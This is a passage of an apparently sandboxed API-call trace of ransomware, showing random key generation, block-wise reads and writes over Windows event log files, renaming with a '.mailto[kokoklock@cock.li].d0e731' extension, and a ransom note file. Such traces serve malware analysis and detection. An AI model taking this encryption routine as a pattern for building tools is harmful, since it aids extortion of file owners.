RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f968b8 [0167.954] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f969a8 [0167.954] NtQuerySystemTime (in: CurrentTime=0xb96fb24 | out: CurrentTime=0xb96fb24*=132121213252720402) returned 0x0 [0167.954] RtlRandom (in: Seed=0xb96fb30 | out: Seed=0xb96fb30) returned 0x3b60d021 [0167.954] RtlRandom (in: Seed=0xb96fb30 | out: Seed=0xb96fb30) returned 0xe9d550c8 [0167.954] RtlRandom (in: Seed=0xb96fb30 | out: Seed=0xb96fb30) returned 0xd401c66 [0167.954] RtlRandom (in: Seed=0xb96fb30 | out: Seed=0xb96fb30) returned 0x4194d6f [0167.955] RtlRandom (in: Seed=0xb96fb30 | out: Seed=0xb96fb30) returned 0xee3c15d8 [0167.955] RtlRandom (in: Seed=0xb96fb30 | out: Seed=0xb96fb30) returned 0x5c6b157a [0167.955] RtlRandom (in: Seed=0xb96fb30 | out: Seed=0xb96fb30) returned 0x89eccd85 [0167.955] RtlRandom (in: Seed=0xb96fb30 | out: Seed=0xb96fb30) returned 0x3009284a [0167.955] RtlRandom (in: Seed=0xb96fb30 | out: Seed=0xb96fb30) returned 0x7e81b77d [0167.955] RtlRandom (in: Seed=0xb96fb30 | out: Seed=0xb96fb30) returned 0xdf55059a [0167.955] RtlRandom (in: Seed=0xb96fb30 | out: Seed=0xb96fb30) returned 0xb7d773a7 [0167.955] RtlRandom (in: Seed=0xb96fb30 | out: Seed=0xb96fb30) returned 0x3806f517 [0167.955] RtlRandom (in: Seed=0xb96fb30 | out: Seed=0xb96fb30) returned 0x7318b4bb [0167.955] RtlRandom (in: Seed=0xb96fb30 | out: Seed=0xb96fb30) returned 0x48b4a14 [0167.955] RtlRandom (in: Seed=0xb96fb30 | out: Seed=0xb96fb30) returned 0x52889e7e [0167.955] RtlRandom (in: Seed=0xb96fb30 | out: Seed=0xb96fb30) returned 0xebdff0ce [0167.955] RtlRandom (in: Seed=0xb96fb30 | out: Seed=0xb96fb30) returned 0x45371e24 [0167.955] RtlRandom (in: Seed=0xb96fb30 | out: Seed=0xb96fb30) returned 0x74386148 [0167.955] RtlRandom (in: Seed=0xb96fb30 | out: Seed=0xb96fb30) returned 0x5d7c9424 [0167.955] RtlRandom (in: Seed=0xb96fb30 | out: Seed=0xb96fb30) returned 0x8d7ed1c1 [0167.955] RtlRandom (in: Seed=0xb96fb30 | out: Seed=0xb96fb30) returned 0x18b24bf9 [0167.955] RtlRandom (in: Seed=0xb96fb30 | out: Seed=0xb96fb30) returned 0xd087bb7 [0167.955] RtlRandom (in: Seed=0xb96fb30 | out: Seed=0xb96fb30) returned 0xa6940342 [0167.955] RtlRandom (in: Seed=0xb96fb30 | out: Seed=0xb96fb30) returned 0x69b2e68d [0167.955] RtlRandom (in: Seed=0xb96fb30 | out: Seed=0xb96fb30) returned 0x3dc81e43 [0167.955] RtlRandom (in: Seed=0xb96fb30 | out: Seed=0xb96fb30) returned 0x18a834d0 [0167.955] RtlRandom (in: Seed=0xb96fb30 | out: Seed=0xb96fb30) returned 0x9b376760 [0167.955] RtlRandom (in: Seed=0xb96fb30 | out: Seed=0xb96fb30) returned 0xd6c17937 [0167.955] RtlRandom (in: Seed=0xb96fb30 | out: Seed=0xb96fb30) returned 0xbd155713 [0167.955] RtlRandom (in: Seed=0xb96fb30 | out: Seed=0xb96fb30) returned 0xd65f9191 [0167.955] RtlRandom (in: Seed=0xb96fb30 | out: Seed=0xb96fb30) returned 0xae93a8cf [0167.955] RtlRandom (in: Seed=0xb96fb30 | out: Seed=0xb96fb30) returned 0xa9c310f [0167.964] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f96840 [0167.966] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x2fab128 [0167.966] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f969f8 [0167.966] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fab128) returned 1 [0167.966] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f96750) returned 1 [0167.966] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x2fc6fd0 [0167.966] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0167.966] ReadFile (in: hFile=0x528, lpBuffer=0x2fc6fd0, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0xb96fae4, lpOverlapped=0x0 | out: lpBuffer=0x2fc6fd0*, lpNumberOfBytesRead=0xb96fae4*=0x4096, lpOverlapped=0x0) returned 1 [0167.967] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0167.967] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x40) returned 0x2f872c0 [0167.968] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x2faafc0 [0167.968] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f96868 [0167.968] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f96868) returned 1 [0167.968] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x2fcb070 [0167.968] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f969d0 [0167.968] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f96750 [0167.968] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f96750) returned 1 [0167.968] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2faafc0) returned 1 [0167.968] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f872c0) returned 1 [0167.968] WriteFile (in: hFile=0x528, lpBuffer=0x2fcb070*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0xb96fae4, lpOverlapped=0x0 | out: lpBuffer=0x2fcb070*, lpNumberOfBytesWritten=0xb96fae4*=0x4096, lpOverlapped=0x0) returned 1 [0167.969] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fcb070) returned 1 [0167.969] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x812c0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0167.969] ReadFile (in: hFile=0x528, lpBuffer=0x2fc6fd0, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0xb96fae4, lpOverlapped=0x0 | out: lpBuffer=0x2fc6fd0*, lpNumberOfBytesRead=0xb96fae4*=0x4096, lpOverlapped=0x0) returned 1 [0167.970] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x812c0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0167.970] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x40) returned 0x2f87428 [0167.970] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x2faab10 [0167.970] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f96750 [0167.970] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f96750) returned 1 [0167.971] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x2fcb070 [0167.971] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f96750 [0167.971] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f96778 [0167.971] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f96778) returned 1 [0167.971] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2faab10) returned 1 [0167.971] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f87428) returned 1 [0167.971] WriteFile (in: hFile=0x528, lpBuffer=0x2fcb070*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0xb96fae4, lpOverlapped=0x0 | out: lpBuffer=0x2fcb070*, lpNumberOfBytesWritten=0xb96fae4*=0x4096, lpOverlapped=0x0) returned 1 [0167.971] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fcb070) returned 1 [0167.971] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0xfd06a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0167.971] ReadFile (in: hFile=0x528, lpBuffer=0x2fc6fd0, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0xb96fae4, lpOverlapped=0x0 | out: lpBuffer=0x2fc6fd0*, lpNumberOfBytesRead=0xb96fae4*=0x4096, lpOverlapped=0x0) returned 1 [0167.973] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0xfd06a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0167.973] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x40) returned 0x2f87818 [0167.973] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x2faaf48 [0167.973] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f967a0 [0167.973] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f967a0) returned 1 [0167.974] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x2fcb070 [0167.974] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f96778 [0167.974] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f967f0 [0167.974] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f967f0) returned 1 [0167.974] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2faaf48) returned 1 [0167.974] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f87818) returned 1 [0167.974] WriteFile (in: hFile=0x528, lpBuffer=0x2fcb070*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0xb96fae4, lpOverlapped=0x0 | out: lpBuffer=0x2fcb070*, lpNumberOfBytesWritten=0xb96fae4*=0x4096, lpOverlapped=0x0) returned 1 [0167.974] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fcb070) returned 1 [0167.974] WriteFile (in: hFile=0x528, lpBuffer=0x2f969d0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0xb96fb40, lpOverlapped=0x0 | out: lpBuffer=0x2f969d0*, lpNumberOfBytesWritten=0xb96fb40*=0x20, lpOverlapped=0x0) returned 1 [0167.974] WriteFile (in: hFile=0x528, lpBuffer=0x2f96750*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0xb96fb40, lpOverlapped=0x0 | out: lpBuffer=0x2f96750*, lpNumberOfBytesWritten=0xb96fb40*=0x20, lpOverlapped=0x0) returned 1 [0167.974] WriteFile (in: hFile=0x528, lpBuffer=0x2f96778*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0xb96fb40, lpOverlapped=0x0 | out: lpBuffer=0x2f96778*, lpNumberOfBytesWritten=0xb96fb40*=0x20, lpOverlapped=0x0) returned 1 [0167.975] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fc6fd0) returned 1 [0167.975] WriteFile (in: hFile=0x528, lpBuffer=0x2f969f8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0xb96fb48, lpOverlapped=0x0 | out: lpBuffer=0x2f969f8*, lpNumberOfBytesWritten=0xb96fb48*=0x8, lpOverlapped=0x0) returned 1 [0167.975] WriteFile (in: hFile=0x528, lpBuffer=0xb96fb60*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0xb96fb48, lpOverlapped=0x0 | out: lpBuffer=0xb96fb60*, lpNumberOfBytesWritten=0xb96fb48*=0x4, lpOverlapped=0x0) returned 1 [0167.975] WriteFile (in: hFile=0x528, lpBuffer=0x2f719cc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0xb96fb48, lpOverlapped=0x0 | out: lpBuffer=0x2f719cc*, lpNumberOfBytesWritten=0xb96fb48*=0x4, lpOverlapped=0x0) returned 1 [0167.975] WriteFile (in: hFile=0x528, lpBuffer=0x2f6a3e8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0xb96fb48, lpOverlapped=0x0 | out: lpBuffer=0x2f6a3e8*, lpNumberOfBytesWritten=0xb96fb48*=0x6c, lpOverlapped=0x0) returned 1 [0167.975] WriteFile (in: hFile=0x528, lpBuffer=0x2f968b8*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0xb96fb48, lpOverlapped=0x0 | out: lpBuffer=0x2f968b8*, lpNumberOfBytesWritten=0xb96fb48*=0x20, lpOverlapped=0x0) returned 1 [0167.975] WriteFile (in: hFile=0x528, lpBuffer=0x2f719ac*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0xb96fb48, lpOverlapped=0x0 | out: lpBuffer=0x2f719ac*, lpNumberOfBytesWritten=0xb96fb48*=0x4, lpOverlapped=0x0) returned 1 [0167.975] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f968b8) returned 1 [0167.975] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f96840) returned 1 [0167.975] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f969f8) returned 1 [0167.975] CloseHandle (hObject=0x528) returned 1 [0167.976] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x126) returned 0x2f70d80 [0167.976] wcscpy (in: _Dest=0x2f70d80, _Source="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4Firewall.evtx.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4Firewall.evtx.mailto[kokoklock@cock.li].d0e731") returned="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4Firewall.evtx.mailto[kokoklock@cock.li].d0e731" [0167.976] wcscat (in: _Dest=0x2f70d80, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4Firewall.evtx.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731") returned="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4Firewall.evtx.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" [0167.976] MoveFileW (lpExistingFileName="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4Firewall.evtx.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\logs\\microsoft-windows-windows firewall with advanced security%4firewall.evtx.mailto[kokoklock@cock.li].d0e731"), lpNewFileName="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4Firewall.evtx.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\logs\\microsoft-windows-windows firewall with advanced security%4firewall.evtx.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731")) returned 1 [0167.977] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4Firewall.evtx.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0167.977] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f70d80) returned 1 [0167.977] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4Firewall.evtx.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0167.977] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x36) returned 0x2fe3888 [0167.977] wcscpy (in: _Dest=0x2fe3888, _Source="C:\\Logs\\" | out: _Dest="C:\\Logs\\") returned="C:\\Logs\\" [0167.977] wcscat (in: _Dest=0x2fe3888, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Logs\\D0E731-Readme.txt") returned="C:\\Logs\\D0E731-Readme.txt" [0167.977] GetFileAttributesW (lpFileName="C:\\Logs\\D0E731-Readme.txt" (normalized: "c:\\logs\\d0e731-readme.txt")) returned 0x20 [0167.977] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe3888) returned 1 [0167.977] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fc4940) returned 1 [0167.977] RtlExitUserThread (Status=0x1) Thread: id = 1684 os_tid = 0xd70 [0167.978] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-WinINet-Config%4ProxyConfigChanged.evtx.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\logs\\microsoft-windows-wininet-config%4proxyconfigchanged.evtx.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0167.978] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-WinINet-Config%4ProxyConfigChanged.evtx.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0167.979] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-WinINet-Config%4ProxyConfigChanged.evtx.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\logs\\microsoft-windows-wininet-config%4proxyconfigchanged.evtx.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0167.979] GetFileSizeEx (in: hFile=0x528, lpFileSize=0xb9ef7fc | out: lpFileSize=0xb9ef7fc*=69824) returned 1 [0167.979] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x110bc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0167.979] ReadFile (in: hFile=0x528, lpBuffer=0xb9ef7d0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0xb9ef7cc, lpOverlapped=0x0 | out: lpBuffer=0xb9ef7d0*, lpNumberOfBytesRead=0xb9ef7cc*=0x4, lpOverlapped=0x0) returned 1 [0167.980] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0167.980] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f967a0 [0167.980] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f969f8 [0167.980] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f967c8 [0167.980] NtQuerySystemTime (in: CurrentTime=0xb9ef7a8 | out: CurrentTime=0xb9ef7a8*=132121213252877357) returned 0x0 [0167.980] RtlRandom (in: Seed=0xb9ef7b4 | out: Seed=0xb9ef7b4) returned 0x31f88f4b [0167.980] RtlRandom (in: Seed=0xb9ef7b4 | out: Seed=0xb9ef7b4) returned 0xb1f09347 [0167.980] RtlRandom (in: Seed=0xb9ef7b4 | out: Seed=0xb9ef7b4) returned 0xa3264848 [0167.980] RtlRandom (in: Seed=0xb9ef7b4 | out: Seed=0xb9ef7b4) returned 0x4c37baa5 [0167.980] RtlRandom (in: Seed=0xb9ef7b4 | out: Seed=0xb9ef7b4) returned 0xc6db878b [0167.980] RtlRandom (in: Seed=0xb9ef7b4 | out: Seed=0xb9ef7b4) returned 0x117ff221 [0167.980] RtlRandom (in: Seed=0xb9ef7b4 | out: Seed=0xb9ef7b4) returned 0xad742d59 [0167.980] RtlRandom (in: Seed=0xb9ef7b4 | out: Seed=0xb9ef7b4) returned 0x45018a18 [0167.980] RtlRandom (in: Seed=0xb9ef7b4 | out: Seed=0xb9ef7b4) returned 0x144cdf77 [0167.980] RtlRandom (in: Seed=0xb9ef7b4 | out: Seed=0xb9ef7b4) returned 0xe566bbf9 [0167.980] RtlRandom (in: Seed=0xb9ef7b4 | out: Seed=0xb9ef7b4) returned 0x365a3cca [0167.980] RtlRandom (in: Seed=0xb9ef7b4 | out: Seed=0xb9ef7b4) returned 0xd201adc6 [0167.980] RtlRandom (in: Seed=0xb9ef7b4 | out: Seed=0xb9ef7b4) returned 0xe44a244a [0167.980] RtlRandom (in: Seed=0xb9ef7b4 | out: Seed=0xb9ef7b4) returned 0x288f6b25 [0167.980] RtlRandom (in: Seed=0xb9ef7b4 | out: Seed=0xb9ef7b4) returned 0xa13eb700 [0167.980] RtlRandom (in: Seed=0xb9ef7b4 | out: Seed=0xb9ef7b4) returned 0x7468694e [0167.980] RtlRandom (in: Seed=0xb9ef7b4 | out: Seed=0xb9ef7b4) returned 0xc967e9d9 [0167.980] RtlRandom (in: Seed=0xb9ef7b4 | out: Seed=0xb9ef7b4) returned 0xfce30e8e [0167.980] RtlRandom (in: Seed=0xb9ef7b4 | out: Seed=0xb9ef7b4) returned 0x34430290 [0167.980] RtlRandom (in: Seed=0xb9ef7b4 | out: Seed=0xb9ef7b4) returned 0xaa409837 [0167.981] RtlRandom (in: Seed=0xb9ef7b4 | out: Seed=0xb9ef7b4) returned 0x27a7a0d4 [0167.981] RtlRandom (in: Seed=0xb9ef7b4 | out: Seed=0xb9ef7b4) returned 0xad69a3ad [0167.981] RtlRandom (in: Seed=0xb9ef7b4 | out: Seed=0xb9ef7b4) returned 0x37f4f38c [0167.981] RtlRandom (in: Seed=0xb9ef7b4 | out: Seed=0xb9ef7b4) returned 0x1399f0a8 [0167.981] RtlRandom (in: Seed=0xb9ef7b4 | out: Seed=0xb9ef7b4) returned 0x180b3039 [0167.981] RtlRandom (in: Seed=0xb9ef7b4 | out: Seed=0xb9ef7b4) returned 0xf5ed008c [0167.981] RtlRandom (in: Seed=0xb9ef7b4 | out: Seed=0xb9ef7b4) returned 0x8fb958c4 [0167.981] RtlRandom (in: Seed=0xb9ef7b4 | out: Seed=0xb9ef7b4) returned 0x643bad74 [0167.981] RtlRandom (in: Seed=0xb9ef7b4 | out: Seed=0xb9ef7b4) returned 0xb24ded18 [0167.981] RtlRandom (in: Seed=0xb9ef7b4 | out: Seed=0xb9ef7b4) returned 0x93f2ccf5 [0167.981] RtlRandom (in: Seed=0xb9ef7b4 | out: Seed=0xb9ef7b4) returned 0x974cb07f [0167.981] RtlRandom (in: Seed=0xb9ef7b4 | out: Seed=0xb9ef7b4) returned 0x5e1949b3 [0167.989] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f968b8 [0167.991] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x2fab128 [0167.991] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f967f0 [0167.991] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fab128) returned 1 [0167.991] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f967a0) returned 1 [0167.991] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x2fc6fd0 [0167.991] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0167.991] ReadFile (in: hFile=0x528, lpBuffer=0x2fc6fd0, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0xb9ef780, lpOverlapped=0x0 | out: lpBuffer=0x2fc6fd0*, lpNumberOfBytesRead=0xb9ef780*=0x4096, lpOverlapped=0x0) returned 1 [0167.992] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0167.992] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x40) returned 0x2f872c0 [0167.992] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x2faafc0 [0167.993] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f967a0 [0167.993] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f967a0) returned 1 [0167.993] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x2fcb070 [0167.993] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f967a0 [0167.993] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f96818 [0167.993] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f96818) returned 1 [0167.993] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2faafc0) returned 1 [0167.993] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f872c0) returned 1 [0167.993] WriteFile (in: hFile=0x528, lpBuffer=0x2fcb070*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0xb9ef780, lpOverlapped=0x0 | out: lpBuffer=0x2fcb070*, lpNumberOfBytesWritten=0xb9ef780*=0x4096, lpOverlapped=0x0) returned 1 [0167.994] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fcb070) returned 1 [0167.994] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x110c0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0167.994] WriteFile (in: hFile=0x528, lpBuffer=0x2f967a0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0xb9ef7b8, lpOverlapped=0x0 | out: lpBuffer=0x2f967a0*, lpNumberOfBytesWritten=0xb9ef7b8*=0x20, lpOverlapped=0x0) returned 1 [0167.994] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f967a0) returned 1 [0167.994] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fc6fd0) returned 1 [0167.994] WriteFile (in: hFile=0x528, lpBuffer=0x2f967f0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0xb9ef7cc, lpOverlapped=0x0 | out: lpBuffer=0x2f967f0*, lpNumberOfBytesWritten=0xb9ef7cc*=0x8, lpOverlapped=0x0) returned 1 [0167.994] WriteFile (in: hFile=0x528, lpBuffer=0xb9ef7e4*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0xb9ef7cc, lpOverlapped=0x0 | out: lpBuffer=0xb9ef7e4*, lpNumberOfBytesWritten=0xb9ef7cc*=0x4, lpOverlapped=0x0) returned 1 [0167.994] WriteFile (in: hFile=0x528, lpBuffer=0x2f719cc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0xb9ef7cc, lpOverlapped=0x0 | out: lpBuffer=0x2f719cc*, lpNumberOfBytesWritten=0xb9ef7cc*=0x4, lpOverlapped=0x0) returned 1 [0167.994] WriteFile (in: hFile=0x528, lpBuffer=0x2f6a3e8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0xb9ef7cc, lpOverlapped=0x0 | out: lpBuffer=0x2f6a3e8*, lpNumberOfBytesWritten=0xb9ef7cc*=0x6c, lpOverlapped=0x0) returned 1 [0167.995] WriteFile (in: hFile=0x528, lpBuffer=0x2f969f8*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0xb9ef7cc, lpOverlapped=0x0 | out: lpBuffer=0x2f969f8*, lpNumberOfBytesWritten=0xb9ef7cc*=0x20, lpOverlapped=0x0) returned 1 [0167.995] WriteFile (in: hFile=0x528, lpBuffer=0x2f719ac*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0xb9ef7cc, lpOverlapped=0x0 | out: lpBuffer=0x2f719ac*, lpNumberOfBytesWritten=0xb9ef7cc*=0x4, lpOverlapped=0x0) returned 1 [0167.995] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f969f8) returned 1 [0167.995] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f968b8) returned 1 [0167.995] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f967f0) returned 1 [0167.995] CloseHandle (hObject=0x528) returned 1 [0167.995] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x108) returned 0x2f901e0 [0167.995] wcscpy (in: _Dest=0x2f901e0, _Source="C:\\Logs\\Microsoft-Windows-WinINet-Config%4ProxyConfigChanged.evtx.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Logs\\Microsoft-Windows-WinINet-Config%4ProxyConfigChanged.evtx.mailto[kokoklock@cock.li].d0e731") 